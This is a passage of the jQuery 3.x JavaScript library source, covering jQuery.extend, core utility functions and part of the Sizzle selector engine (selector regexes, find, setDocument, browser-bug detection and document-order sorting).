return this.pushStack( j >= 0 && j < len ? [ this[ j ] ] : [] ); }, end: function() { return this.prevObject || this.constructor(); }, // For internal use only. // Behaves like an Array's method, not like a jQuery method. push: push, sort: arr.sort, splice: arr.splice }; jQuery.extend = jQuery.fn.extend = function() { var options, name, src, copy, copyIsArray, clone, target = arguments[ 0 ] || {}, i = 1, length = arguments.length, deep = false; // Handle a deep copy situation if ( typeof target === "boolean" ) { deep = target; // Skip the boolean and the target target = arguments[ i ] || {}; i++; } // Handle case when target is a string or something (possible in deep copy) if ( typeof target !== "object" && !isFunction( target ) ) { target = {}; } // Extend jQuery itself if only one argument is passed if ( i === length ) { target = this; i--; } for ( ; i < length; i++ ) { // Only deal with non-null/undefined values if ( ( options = arguments[ i ] ) != null ) { // Extend the base object for ( name in options ) { copy = options[ name ]; // Prevent Object.prototype pollution // Prevent never-ending loop if ( name === "__proto__" || target === copy ) { continue; } // Recurse if we're merging plain objects or arrays if ( deep && copy && ( jQuery.isPlainObject( copy ) || ( copyIsArray = Array.isArray( copy ) ) ) ) { src = target[ name ]; // Ensure proper type for the source value if ( copyIsArray && !Array.isArray( src ) ) { clone = []; } else if ( !copyIsArray && !jQuery.isPlainObject( src ) ) { clone = {}; } else { clone = src; } copyIsArray = false; // Never move original objects, clone them target[ name ] = jQuery.extend( deep, clone, copy ); // Don't bring in undefined values } else if ( copy !== undefined ) { target[ name ] = copy; } } } } // Return the modified object return target; }; jQuery.extend( { // Unique for each copy of jQuery on the page expando: "jQuery" + ( version + Math.random() ).replace( /\D/g, "" ), // Assume jQuery is ready without the ready module isReady: true, error: function( msg ) { throw new Error( msg ); }, noop: function() {}, isPlainObject: function( obj ) { var proto, Ctor; // Detect obvious negatives // Use toString instead of jQuery.type to catch host objects if ( !obj || toString.call( obj ) !== "[object Object]" ) { return false; } proto = getProto( obj ); // Objects with no prototype (e.g., `Object.create( null )`) are plain if ( !proto ) { return true; } // Objects with prototype are plain iff they were constructed by a global Object function Ctor = hasOwn.call( proto, "constructor" ) && proto.constructor; return typeof Ctor === "function" && fnToString.call( Ctor ) === ObjectFunctionString; }, isEmptyObject: function( obj ) { var name; for ( name in obj ) { return false; } return true; }, // Evaluates a script in a provided context; falls back to the global one // if not specified. globalEval: function( code, options, doc ) { DOMEval( code, { nonce: options && options.nonce }, doc ); }, each: function( obj, callback ) { var length, i = 0; if ( isArrayLike( obj ) ) { length = obj.length; for ( ; i < length; i++ ) { if ( callback.call( obj[ i ], i, obj[ i ] ) === false ) { break; } } } else { for ( i in obj ) { if ( callback.call( obj[ i ], i, obj[ i ] ) === false ) { break; } } } return obj; }, // Retrieve the text value of an array of DOM nodes text: function( elem ) { var node, ret = "", i = 0, nodeType = elem.nodeType; if ( !nodeType ) { // If no nodeType, this is expected to be an array while ( ( node = elem[ i++ ] ) ) { // Do not traverse comment nodes ret += jQuery.text( node ); } } if ( nodeType === 1 || nodeType === 11 ) { return elem.textContent; } if ( nodeType === 9 ) { return elem.documentElement.textContent; } if ( nodeType === 3 || nodeType === 4 ) { return elem.nodeValue; } // Do not include comment or processing instruction nodes return ret; }, // results is for internal usage only makeArray: function( arr, results ) { var ret = results || []; if ( arr != null ) { if ( isArrayLike( Object( arr ) ) ) { jQuery.merge( ret, typeof arr === "string" ? [ arr ] : arr ); } else { push.call( ret, arr ); } } return ret; }, inArray: function( elem, arr, i ) { return arr == null ? -1 : indexOf.call( arr, elem, i ); }, isXMLDoc: function( elem ) { var namespace = elem && elem.namespaceURI, docElem = elem && ( elem.ownerDocument || elem ).documentElement; // Assume HTML when documentElement doesn't yet exist, such as inside // document fragments. return !rhtmlSuffix.test( namespace || docElem && docElem.nodeName || "HTML" ); }, // Support: Android <=4.0 only, PhantomJS 1 only // push.apply(_, arraylike) throws on ancient WebKit merge: function( first, second ) { var len = +second.length, j = 0, i = first.length; for ( ; j < len; j++ ) { first[ i++ ] = second[ j ]; } first.length = i; return first; }, grep: function( elems, callback, invert ) { var callbackInverse, matches = [], i = 0, length = elems.length, callbackExpect = !invert; // Go through the array, only saving the items // that pass the validator function for ( ; i < length; i++ ) { callbackInverse = !callback( elems[ i ], i ); if ( callbackInverse !== callbackExpect ) { matches.push( elems[ i ] ); } } return matches; }, // arg is for internal usage only map: function( elems, callback, arg ) { var length, value, i = 0, ret = []; // Go through the array, translating each of the items to their new values if ( isArrayLike( elems ) ) { length = elems.length; for ( ; i < length; i++ ) { value = callback( elems[ i ], i, arg ); if ( value != null ) { ret.push( value ); } } // Go through every key on the object, } else { for ( i in elems ) { value = callback( elems[ i ], i, arg ); if ( value != null ) { ret.push( value ); } } } // Flatten any nested arrays return flat( ret ); }, // A global GUID counter for objects guid: 1, // jQuery.support is not used in Core but other projects attach their // properties to it so it needs to exist. support: support } ); if ( typeof Symbol === "function" ) { jQuery.fn[ Symbol.iterator ] = arr[ Symbol.iterator ]; } // Populate the class2type map jQuery.each( "Boolean Number String Function Array Date RegExp Object Error Symbol".split( " " ), function( _i, name ) { class2type[ "[object " + name + "]" ] = name.toLowerCase(); } ); function isArrayLike( obj ) { // Support: real iOS 8.2 only (not reproducible in simulator) // `in` check used to prevent JIT error (gh-2145) // hasOwn isn't used here due to false negatives // regarding Nodelist length in IE var length = !!obj && "length" in obj && obj.length, type = toType( obj ); if ( isFunction( obj ) || isWindow( obj ) ) { return false; } return type === "array" || length === 0 || typeof length === "number" && length > 0 && ( length - 1 ) in obj; } function nodeName( elem, name ) { return elem.nodeName && elem.nodeName.toLowerCase() === name.toLowerCase(); } var pop = arr.pop; var sort = arr.sort; var splice = arr.splice; var whitespace = "[\\x20\\t\\r\\n\\f]"; var rtrimCSS = new RegExp( "^" + whitespace + "+|((?:^|[^\\\\])(?:\\\\.)*)" + whitespace + "+$", "g" ); // Note: an element does not contain itself jQuery.contains = function( a, b ) { var bup = b && b.parentNode; return a === bup || !!( bup && bup.nodeType === 1 && ( // Support: IE 9 - 11+ // IE doesn't have `contains` on SVG. a.contains ? a.contains( bup ) : a.compareDocumentPosition && a.compareDocumentPosition( bup ) & 16 ) ); }; // CSS string/identifier serialization // https://drafts.csswg.org/cssom/#common-serializing-idioms var rcssescape = /([\0-\x1f\x7f]|^-?\d)|^-$|[^\x80-\uFFFF\w-]/g; function fcssescape( ch, asCodePoint ) { if ( asCodePoint ) { // U+0000 NULL becomes U+FFFD REPLACEMENT CHARACTER if ( ch === "\0" ) { return "\uFFFD"; } // Control characters and (dependent upon position) numbers get escaped as code points return ch.slice( 0, -1 ) + "\\" + ch.charCodeAt( ch.length - 1 ).toString( 16 ) + " "; } // Other potentially-special ASCII characters get backslash-escaped return "\\" + ch; } jQuery.escapeSelector = function( sel ) { return ( sel + "" ).replace( rcssescape, fcssescape ); }; var preferredDoc = document, pushNative = push; ( function() { var i, Expr, outermostContext, sortInput, hasDuplicate, push = pushNative, // Local document vars document, documentElement, documentIsHTML, rbuggyQSA, matches, // Instance-specific data expando = jQuery.expando, dirruns = 0, done = 0, classCache = createCache(), tokenCache = createCache(), compilerCache = createCache(), nonnativeSelectorCache = createCache(), sortOrder = function( a, b ) { if ( a === b ) { hasDuplicate = true; } return 0; }, booleans = "checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|" + "loop|multiple|open|readonly|required|scoped", // Regular expressions // https://www.w3.org/TR/css-syntax-3/#ident-token-diagram identifier = "(?:\\\\[\\da-fA-F]{1,6}" + whitespace + "?|\\\\[^\\r\\n\\f]|[\\w-]|[^\0-\\x7f])+", // Attribute selectors: https://www.w3.org/TR/selectors/#attribute-selectors attributes = "\\[" + whitespace + "*(" + identifier + ")(?:" + whitespace + // Operator (capture 2) "*([*^$|!~]?=)" + whitespace + // "Attribute values must be CSS identifiers [capture 5] or strings [capture 3 or capture 4]" "*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|(" + identifier + "))|)" + whitespace + "*\\]", pseudos = ":(" + identifier + ")(?:\\((" + // To reduce the number of selectors needing tokenize in the preFilter, prefer arguments: // 1. quoted (capture 3; capture 4 or capture 5) "('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|" + // 2. simple (capture 6) "((?:\\\\.|[^\\\\()[\\]]|" + attributes + ")*)|" + // 3. anything else (capture 2) ".*" + ")\\)|)", // Leading and non-escaped trailing whitespace, capturing some non-whitespace characters preceding the latter rwhitespace = new RegExp( whitespace + "+", "g" ), rcomma = new RegExp( "^" + whitespace + "*," + whitespace + "*" ), rleadingCombinator = new RegExp( "^" + whitespace + "*([>+~]|" + whitespace + ")" + whitespace + "*" ), rdescend = new RegExp( whitespace + "|>" ), rpseudo = new RegExp( pseudos ), ridentifier = new RegExp( "^" + identifier + "$" ), matchExpr = { ID: new RegExp( "^#(" + identifier + ")" ), CLASS: new RegExp( "^\\.(" + identifier + ")" ), TAG: new RegExp( "^(" + identifier + "|[*])" ), ATTR: new RegExp( "^" + attributes ), PSEUDO: new RegExp( "^" + pseudos ), CHILD: new RegExp( "^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(" + whitespace + "*(even|odd|(([+-]|)(\\d*)n|)" + whitespace + "*(?:([+-]|)" + whitespace + "*(\\d+)|))" + whitespace + "*\\)|)", "i" ), bool: new RegExp( "^(?:" + booleans + ")$", "i" ), // For use in libraries implementing .is() // We use this for POS matching in `select` needsContext: new RegExp( "^" + whitespace + "*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(" + whitespace + "*((?:-\\d)?\\d*)" + whitespace + "*\\)|)(?=[^-]|$)", "i" ) }, rinputs = /^(?:input|select|textarea|button)$/i, rheader = /^h\d$/i, // Easily-parseable/retrievable ID or TAG or CLASS selectors rquickExpr = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/, rsibling = /[+~]/, // CSS escapes // https://www.w3.org/TR/CSS21/syndata.html#escaped-characters runescape = new RegExp( "\\\\[\\da-fA-F]{1,6}" + whitespace + "?|\\\\([^\\r\\n\\f])", "g" ), funescape = function( escape, nonHex ) { var high = "0x" + escape.slice( 1 ) - 0x10000; if ( nonHex ) { // Strip the backslash prefix from a non-hex escape sequence return nonHex; } // Replace a hexadecimal escape sequence with the encoded Unicode code point // Support: IE <=11+ // For values outside the Basic Multilingual Plane (BMP), manually construct a // surrogate pair return high < 0 ? String.fromCharCode( high + 0x10000 ) : String.fromCharCode( high >> 10 | 0xD800, high & 0x3FF | 0xDC00 ); }, // Used for iframes; see `setDocument`. // Support: IE 9 - 11+, Edge 12 - 18+ // Removing the function wrapper causes a "Permission Denied" // error in IE/Edge. unloadHandler = function() { setDocument(); }, inDisabledFieldset = addCombinator( function( elem ) { return elem.disabled === true && nodeName( elem, "fieldset" ); }, { dir: "parentNode", next: "legend" } ); // Support: IE <=9 only // Accessing document.activeElement can throw unexpectedly // https://bugs.jquery.com/ticket/13393 function safeActiveElement() { try { return document.activeElement; } catch ( err ) { } } // Optimize for push.apply( _, NodeList ) try { push.apply( ( arr = slice.call( preferredDoc.childNodes ) ), preferredDoc.childNodes ); // Support: Android <=4.0 // Detect silently failing push.apply // eslint-disable-next-line no-unused-expressions arr[ preferredDoc.childNodes.length ].nodeType; } catch ( e ) { push = { apply: function( target, els ) { pushNative.apply( target, slice.call( els ) ); }, call: function( target ) { pushNative.apply( target, slice.call( arguments, 1 ) ); } }; } function find( selector, context, results, seed ) { var m, i, elem, nid, match, groups, newSelector, newContext = context && context.ownerDocument, // nodeType defaults to 9, since context defaults to document nodeType = context ? context.nodeType : 9; results = results || []; // Return early from calls with invalid selector or context if ( typeof selector !== "string" || !selector || nodeType !== 1 && nodeType !== 9 && nodeType !== 11 ) { return results; } // Try to shortcut find operations (as opposed to filters) in HTML documents if ( !seed ) { setDocument( context ); context = context || document; if ( documentIsHTML ) { // If the selector is sufficiently simple, try using a "get*By*" DOM method // (excepting DocumentFragment context, where the methods don't exist) if ( nodeType !== 11 && ( match = rquickExpr.exec( selector ) ) ) { // ID selector if ( ( m = match[ 1 ] ) ) { // Document context if ( nodeType === 9 ) { if ( ( elem = context.getElementById( m ) ) ) { // Support: IE 9 only // getElementById can match elements by name instead of ID if ( elem.id === m ) { push.call( results, elem ); return results; } } else { return results; } // Element context } else { // Support: IE 9 only // getElementById can match elements by name instead of ID if ( newContext && ( elem = newContext.getElementById( m ) ) && find.contains( context, elem ) && elem.id === m ) { push.call( results, elem ); return results; } } // Type selector } else if ( match[ 2 ] ) { push.apply( results, context.getElementsByTagName( selector ) ); return results; // Class selector } else if ( ( m = match[ 3 ] ) && context.getElementsByClassName ) { push.apply( results, context.getElementsByClassName( m ) ); return results; } } // Take advantage of querySelectorAll if ( !nonnativeSelectorCache[ selector + " " ] && ( !rbuggyQSA || !rbuggyQSA.test( selector ) ) ) { newSelector = selector; newContext = context; // qSA considers elements outside a scoping root when evaluating child or // descendant combinators, which is not what we want. // In such cases, we work around the behavior by prefixing every selector in the // list with an ID selector referencing the scope context. // The technique has to be used as well when a leading combinator is used // as such selectors are not recognized by querySelectorAll. // Thanks to Andrew Dupont for this technique. if ( nodeType === 1 && ( rdescend.test( selector ) || rleadingCombinator.test( selector ) ) ) { // Expand context for sibling selectors newContext = rsibling.test( selector ) && testContext( context.parentNode ) || context; // We can use :scope instead of the ID hack if the browser // supports it & if we're not changing the context. // Support: IE 11+, Edge 17 - 18+ // IE/Edge sometimes throw a "Permission denied" error when // strict-comparing two documents; shallow comparisons work. // eslint-disable-next-line eqeqeq if ( newContext != context || !support.scope ) { // Capture the context ID, setting it first if necessary if ( ( nid = context.getAttribute( "id" ) ) ) { nid = jQuery.escapeSelector( nid ); } else { context.setAttribute( "id", ( nid = expando ) ); } } // Prefix every selector in the list groups = tokenize( selector ); i = groups.length; while ( i-- ) { groups[ i ] = ( nid ? "#" + nid : ":scope" ) + " " + toSelector( groups[ i ] ); } newSelector = groups.join( "," ); } try { push.apply( results, newContext.querySelectorAll( newSelector ) ); return results; } catch ( qsaError ) { nonnativeSelectorCache( selector, true ); } finally { if ( nid === expando ) { context.removeAttribute( "id" ); } } } } } // All others return select( selector.replace( rtrimCSS, "$1" ), context, results, seed ); } /** * Create key-value caches of limited size * @returns {function(string, object)} Returns the Object data after storing it on itself with * property name the (space-suffixed) string and (if the cache is larger than Expr.cacheLength) * deleting the oldest entry */ function createCache() { var keys = []; function cache( key, value ) { // Use (key + " ") to avoid collision with native prototype properties // (see https://github.com/jquery/sizzle/issues/157) if ( keys.push( key + " " ) > Expr.cacheLength ) { // Only keep the most recent entries delete cache[ keys.shift() ]; } return ( cache[ key + " " ] = value ); } return cache; } /** * Mark a function for special use by jQuery selector module * @param {Function} fn The function to mark */ function markFunction( fn ) { fn[ expando ] = true; return fn; } /** * Support testing using an element * @param {Function} fn Passed the created element and returns a boolean result */ function assert( fn ) { var el = document.createElement( "fieldset" ); try { return !!fn( el ); } catch ( e ) { return false; } finally { // Remove from its parent by default if ( el.parentNode ) { el.parentNode.removeChild( el ); } // release memory in IE el = null; } } /** * Returns a function to use in pseudos for input types * @param {String} type */ function createInputPseudo( type ) { return function( elem ) { return nodeName( elem, "input" ) && elem.type === type; }; } /** * Returns a function to use in pseudos for buttons * @param {String} type */ function createButtonPseudo( type ) { return function( elem ) { return ( nodeName( elem, "input" ) || nodeName( elem, "button" ) ) && elem.type === type; }; } /** * Returns a function to use in pseudos for :enabled/:disabled * @param {Boolean} disabled true for :disabled; false for :enabled */ function createDisabledPseudo( disabled ) { // Known :disabled false positives: fieldset[disabled] > legend:nth-of-type(n+2) :can-disable return function( elem ) { // Only certain elements can match :enabled or :disabled // https://html.spec.whatwg.org/multipage/scripting.html#selector-enabled // https://html.spec.whatwg.org/multipage/scripting.html#selector-disabled if ( "form" in elem ) { // Check for inherited disabledness on relevant non-disabled elements: // * listed form-associated elements in a disabled fieldset // https://html.spec.whatwg.org/multipage/forms.html#category-listed // https://html.spec.whatwg.org/multipage/forms.html#concept-fe-disabled // * option elements in a disabled optgroup // https://html.spec.whatwg.org/multipage/forms.html#concept-option-disabled // All such elements have a "form" property. if ( elem.parentNode && elem.disabled === false ) { // Option elements defer to a parent optgroup if present if ( "label" in elem ) { if ( "label" in elem.parentNode ) { return elem.parentNode.disabled === disabled; } else { return elem.disabled === disabled; } } // Support: IE 6 - 11+ // Use the isDisabled shortcut property to check for disabled fieldset ancestors return elem.isDisabled === disabled || // Where there is no isDisabled, check manually elem.isDisabled !== !disabled && inDisabledFieldset( elem ) === disabled; } return elem.disabled === disabled; // Try to winnow out elements that can't be disabled before trusting the disabled property. // Some victims get caught in our net (label, legend, menu, track), but it shouldn't // even exist on them, let alone have a boolean value. } else if ( "label" in elem ) { return elem.disabled === disabled; } // Remaining elements are neither :enabled nor :disabled return false; }; } /** * Returns a function to use in pseudos for positionals * @param {Function} fn */ function createPositionalPseudo( fn ) { return markFunction( function( argument ) { argument = +argument; return markFunction( function( seed, matches ) { var j, matchIndexes = fn( [], seed.length, argument ), i = matchIndexes.length; // Match elements found at the specified indexes while ( i-- ) { if ( seed[ ( j = matchIndexes[ i ] ) ] ) { seed[ j ] = !( matches[ j ] = seed[ j ] ); } } } ); } ); } /** * Checks a node for validity as a jQuery selector context * @param {Element|Object=} context * @returns {Element|Object|Boolean} The input node if acceptable, otherwise a falsy value */ function testContext( context ) { return context && typeof context.getElementsByTagName !== "undefined" && context; } /** * Sets document-related variables once based on the current document * @param {Element|Object} [node] An element or document object to use to set the document * @returns {Object} Returns the current document */ function setDocument( node ) { var subWindow, doc = node ? node.ownerDocument || node : preferredDoc; // Return early if doc is invalid or already selected // Support: IE 11+, Edge 17 - 18+ // IE/Edge sometimes throw a "Permission denied" error when strict-comparing // two documents; shallow comparisons work. // eslint-disable-next-line eqeqeq if ( doc == document || doc.nodeType !== 9 || !doc.documentElement ) { return document; } // Update global variables document = doc; documentElement = document.documentElement; documentIsHTML = !jQuery.isXMLDoc( document ); // Support: iOS 7 only, IE 9 - 11+ // Older browsers didn't support unprefixed `matches`. matches = documentElement.matches || documentElement.webkitMatchesSelector || documentElement.msMatchesSelector; // Support: IE 9 - 11+, Edge 12 - 18+ // Accessing iframe documents after unload throws "permission denied" errors // (see trac-13936). // Limit the fix to IE & Edge Legacy; despite Edge 15+ implementing `matches`, // all IE 9+ and Edge Legacy versions implement `msMatchesSelector` as well. if ( documentElement.msMatchesSelector && // Support: IE 11+, Edge 17 - 18+ // IE/Edge sometimes throw a "Permission denied" error when strict-comparing // two documents; shallow comparisons work. // eslint-disable-next-line eqeqeq preferredDoc != document && ( subWindow = document.defaultView ) && subWindow.top !== subWindow ) { // Support: IE 9 - 11+, Edge 12 - 18+ subWindow.addEventListener( "unload", unloadHandler ); } // Support: IE <10 // Check if getElementById returns elements by name // The broken getElementById methods don't pick up programmatically-set names, // so use a roundabout getElementsByName test support.getById = assert( function( el ) { documentElement.appendChild( el ).id = jQuery.expando; return !document.getElementsByName || !document.getElementsByName( jQuery.expando ).length; } ); // Support: IE 9 only // Check to see if it's possible to do matchesSelector // on a disconnected node. support.disconnectedMatch = assert( function( el ) { return matches.call( el, "*" ); } ); // Support: IE 9 - 11+, Edge 12 - 18+ // IE/Edge don't support the :scope pseudo-class. support.scope = assert( function() { return document.querySelectorAll( ":scope" ); } ); // Support: Chrome 105 - 111 only, Safari 15.4 - 16.3 only // Make sure the `:has()` argument is parsed unforgivingly. // We include `*` in the test to detect buggy implementations that are // _selectively_ forgiving (specifically when the list includes at least // one valid selector). // Note that we treat complete lack of support for `:has()` as if it were // spec-compliant support, which is fine because use of `:has()` in such // environments will fail in the qSA path and fall back to jQuery traversal // anyway. support.cssHas = assert( function() { try { document.querySelector( ":has(*,:jqfake)" ); return false; } catch ( e ) { return true; } } ); // ID filter and find if ( support.getById ) { Expr.filter.ID = function( id ) { var attrId = id.replace( runescape, funescape ); return function( elem ) { return elem.getAttribute( "id" ) === attrId; }; }; Expr.find.ID = function( id, context ) { if ( typeof context.getElementById !== "undefined" && documentIsHTML ) { var elem = context.getElementById( id ); return elem ? [ elem ] : []; } }; } else { Expr.filter.ID = function( id ) { var attrId = id.replace( runescape, funescape ); return function( elem ) { var node = typeof elem.getAttributeNode !== "undefined" && elem.getAttributeNode( "id" ); return node && node.value === attrId; }; }; // Support: IE 6 - 7 only // getElementById is not reliable as a find shortcut Expr.find.ID = function( id, context ) { if ( typeof context.getElementById !== "undefined" && documentIsHTML ) { var node, i, elems, elem = context.getElementById( id ); if ( elem ) { // Verify the id attribute node = elem.getAttributeNode( "id" ); if ( node && node.value === id ) { return [ elem ]; } // Fall back on getElementsByName elems = context.getElementsByName( id ); i = 0; while ( ( elem = elems[ i++ ] ) ) { node = elem.getAttributeNode( "id" ); if ( node && node.value === id ) { return [ elem ]; } } } return []; } }; } // Tag Expr.find.TAG = function( tag, context ) { if ( typeof context.getElementsByTagName !== "undefined" ) { return context.getElementsByTagName( tag ); // DocumentFragment nodes don't have gEBTN } else { return context.querySelectorAll( tag ); } }; // Class Expr.find.CLASS = function( className, context ) { if ( typeof context.getElementsByClassName !== "undefined" && documentIsHTML ) { return context.getElementsByClassName( className ); } }; /* QSA/matchesSelector ---------------------------------------------------------------------- */ // QSA and matchesSelector support rbuggyQSA = []; // Build QSA regex // Regex strategy adopted from Diego Perini assert( function( el ) { var input; documentElement.appendChild( el ).innerHTML = "<a id='" + expando + "' href='' disabled='disabled'></a>" + "<select id='" + expando + "-\r\\' disabled='disabled'>" + "<option selected=''></option></select>"; // Support: iOS <=7 - 8 only // Boolean attributes and "value" are not treated correctly in some XML documents if ( !el.querySelectorAll( "[selected]" ).length ) { rbuggyQSA.push( "\\[" + whitespace + "*(?:value|" + booleans + ")" ); } // Support: iOS <=7 - 8 only if ( !el.querySelectorAll( "[id~=" + expando + "-]" ).length ) { rbuggyQSA.push( "~=" ); } // Support: iOS 8 only // https://bugs.webkit.org/show_bug.cgi?id=136851 // In-page `selector#id sibling-combinator selector` fails if ( !el.querySelectorAll( "a#" + expando + "+*" ).length ) { rbuggyQSA.push( ".#.+[+~]" ); } // Support: Chrome <=105+, Firefox <=104+, Safari <=15.4+ // In some of the document kinds, these selectors wouldn't work natively. // This is probably OK but for backwards compatibility we want to maintain // handling them through jQuery traversal in jQuery 3.x. if ( !el.querySelectorAll( ":checked" ).length ) { rbuggyQSA.push( ":checked" ); } // Support: Windows 8 Native Apps // The type and name attributes are restricted during .innerHTML assignment input = document.createElement( "input" ); input.setAttribute( "type", "hidden" ); el.appendChild( input ).setAttribute( "name", "D" ); // Support: IE 9 - 11+ // IE's :disabled selector does not pick up the children of disabled fieldsets // Support: Chrome <=105+, Firefox <=104+, Safari <=15.4+ // In some of the document kinds, these selectors wouldn't work natively. // This is probably OK but for backwards compatibility we want to maintain // handling them through jQuery traversal in jQuery 3.x. documentElement.appendChild( el ).disabled = true; if ( el.querySelectorAll( ":disabled" ).length !== 2 ) { rbuggyQSA.push( ":enabled", ":disabled" ); } // Support: IE 11+, Edge 15 - 18+ // IE 11/Edge don't find elements on a `[name='']` query in some cases. // Adding a temporary attribute to the document before the selection works // around the issue. // Interestingly, IE 10 & older don't seem to have the issue. input = document.createElement( "input" ); input.setAttribute( "name", "" ); el.appendChild( input ); if ( !el.querySelectorAll( "[name='']" ).length ) { rbuggyQSA.push( "\\[" + whitespace + "*name" + whitespace + "*=" + whitespace + "*(?:''|\"\")" ); } } ); if ( !support.cssHas ) { // Support: Chrome 105 - 110+, Safari 15.4 - 16.3+ // Our regular `try-catch` mechanism fails to detect natively-unsupported // pseudo-classes inside `:has()` (such as `:has(:contains("Foo"))`) // in browsers that parse the `:has()` argument as a forgiving selector list. // https://drafts.csswg.org/selectors/#relational now requires the argument // to be parsed unforgivingly, but browsers have not yet fully adjusted. rbuggyQSA.push( ":has" ); } rbuggyQSA = rbuggyQSA.length && new RegExp( rbuggyQSA.join( "|" ) ); /* Sorting ---------------------------------------------------------------------- */ // Document order sorting sortOrder = function( a, b ) { // Flag for duplicate removal if ( a === b ) { hasDuplicate = true; return 0; } // Sort on method existence if only one input has compareDocumentPosition var compare = !a.compareDocumentPosition - !b.compareDocumentPosition; if ( compare ) { return compare; } // Calculate position if both inputs belong to the same document // Support: IE 11+, Edge 17 - 18+ // IE/Edge sometimes throw a "Permission denied" error when strict-comparing // two documents; shallow comparisons work. // eslint-disable-next-line eqeqeq compare = ( a.ownerDocument || a ) == ( b.ownerDocument || b ) ? a.compareDocumentPosition( b ) : // Otherwise we know they are disconnected 1; // Disconnected nodes if ( compare & 1 || ( !support.sortDetached && b.compareDocumentPosition( a ) === compare ) ) { // Choose the first element that is related to our preferred document // Support: IE 11+, Edge 17 - 18+ // IE/Edge sometimes throw a "Permission denied" error when strict-comparing // two documents; shallow comparisons work. // eslint-disable-next-line eqeqeq if ( a === document || a.ownerDocument == preferredDoc && find.contains( preferredDoc, a ) ) { return -1; } // Support: IE 11+, Edge 17 - 18+ // IE/Edge sometimes throw a "Permission denied" error when strict-comparing // two documents; shallow comparisons work. // eslint-disable-next-line eqeqeq if ( b === document || b.ownerDocument == preferredDoc && find.contains( preferredDoc, b ) ) { return 1; } // Maintain original order return sortInput ? ( indexOf.call( sortInput, a ) - indexOf.call( sortInput, b ) ) : 0; } return compare & 4 ? -1 : 1; }; return document; } find.matches = function( expr, elements ) { return find( expr, null, null, elements ); }; find.matchesSelector = function( elem, expr ) { setDocument( elem ); if ( documentIsHTML && !nonnativeSelectorCache[ expr + " " ] && ( !rbuggyQSA || !rbuggyQSA.test( expr ) ) ) { try { var ret = matches.call( elem, expr ); // IE 9's matchesSelector returns false on disconnected nodes if ( ret || support.disconnectedMatch || // As well, disconnected nodes are said to be in a document // fragment in IE 9 elem.document && elem.document.nodeType !== 11 ) { return ret; } } catch ( e ) { nonnativeSelectorCache( expr, true ); } } return find( expr, document, null, [ elem ] ).length > 0; }; find.contains = function( context, elem ) { // Set document vars if needed // Support: IE 11+, Edge 17 - 18+ // IE/Edge sometimes throw a "Permission denied" error when strict-comparing // two documents; shallow comparisons work. // eslint-disable-next-line eqeqeq if ( ( context.ownerDocument || context ) != document ) { setDocument( context ); } return jQuery.contains( context, elem ); }; find.attr = function( elem, name ) { // Set document vars if needed // Support: IE 11+, Edge 17 - 18+ // IE/Edge sometimes throw a "Permission denied" error when strict-comparing // two documents; shallow comparisons work. // eslint-disable-next-line eqeqeq if ( ( elem.ownerDocument || elem ) != document ) { setDocument( elem ); } var fn = Expr.attrHandle[ name.toLowerCase() ], // Don't get fooled by Object.prototype properties (see trac-13807) val = fn && hasOwn.call( Expr.attrHandle, name.toLowerCase() ) ? fn( elem, name, !documentIsHTML ) : undefined; if ( val !== undefined ) { return val; } return elem.getAttribute( name ); }; find.error = function( msg ) { throw new Error( "Syntax error, unrecognized expression: " + msg ); }; /** * Document sorting and removing duplicates * @param {ArrayLike} results */ jQuery.uniqueSort = function( results ) { var elem, duplicates = [], j = 0, i = 0; // Unless we *know* we can detect duplicates, assume their presence // // Support: Android <=4.0+ // Testing for detecting duplicates is unpredictable so instead assume we can't // depend on duplicate detection in all browsers without a stable sort. hasDuplicate = !support.sortStable; sortInput = !support.sortStable && slice.call( results, 0 ); sort.call( results, sortOrder ); if ( hasDuplicate ) { while ( ( elem = results[ i++ ] ) ) { if ( elem === results[ i ] ) { j = duplicates.push( i ); } } while ( j-- ) { splice.call( results, duplicates[ j ], 1 ); } } // Clear input after sorting to release objects // See https://github.com/jquery/sizzle/pull/225 sortInput = null; return results; }; jQuery.fn.uniqueSort = function() { return this.pushStack( jQuery.uniqueSort( slice.apply( this ) ) ); }; Expr = jQuery.expr = { // Can be adjusted by the user cacheLength: 50, createPseudo: markFunction, match: matchExpr, attrHandle: {}, find: {}, relative: { ">": { dir: "parentNode", first: true }, " ": { dir: "parentNode" }, "+": { dir: "previousSibling", first: true }, "~": { dir: "previousSibling" } }, preFilter: { ATTR: function( match ) { match[ 1 ] = match[ 1 ].replace( runescape, funescape ); // Move the given value to match[3] whether quoted or unquoted match[ 3 ] = ( match[ 3 ] || match[ 4 ] || match[ 5 ] || "" ) .replace( runescape, funescape ); if ( match[ 2 ] === "~=" ) { match[ 3 ] = " " + match[ 3 ] + " "; } return match.slice( 0, 4 ); }, CHILD: function( match ) { /* matches from matchExpr["CHILD"] 1 type (only|nth|...) 2 what (child|of-type) 3 argument (even|odd|\d*|\d*n([+-]\d+)?|...) 4 xn-component of xn+y argument ([+-]?\d*n|) 5 sign of xn-component 6 x of xn-component 7 sign of y-component 8 y of y-component */ match[ 1 ] = match[ 1 ].toLowerCase(); if ( match[ 1 ].slice( 0, 3 ) === "nth" ) { // nth-* requires argument if ( !match[ 3 ] ) { find.error( match[ 0 ] ); } // numeric x and y parameters for Expr.filter.CHILD // remember that false/true cast respectively to 0/1 match[ 4 ] = +( match[ 4 ] ? match[ 5 ] + ( match[ 6 ] || 1 ) : 2 * ( match[ 3 ] === "even" || match[ 3 ] === "odd" ) ); match[ 5 ] = +( ( match[ 7 ] + match[ 8 ] ) || match[ 3 ] === "odd" ); // other types prohibit arguments } else if ( match[ 3 ] ) { find.error( match[ 0 ] ); } return match; }, PSEUDO: function( match ) { var excess, unquoted = !match[ 6 ] && match[ 2 ]; if ( matchExpr.CHILD.test( match[ 0 ] ) ) { return null; } // Accept quoted arguments as-is if ( match[ 3 ] ) { match[ 2 ] = match[ 4 ] || match[ 5 ] || ""; // Strip excess characters from unquoted arguments } else if ( unquoted && rpseudo.test( unquoted ) && // Get excess from tokenize (recursively) ( excess = tokenize( unquoted, true ) ) && // advance to the next closing parenthesis ( excess = unquoted.indexOf( ")", unquoted.length - excess ) - unquoted.length ) ) { // excess is a negative index match[ 0 ] = match[ 0 ].slice( 0, excess ); match[ 2 ] = unquoted.slice( 0, 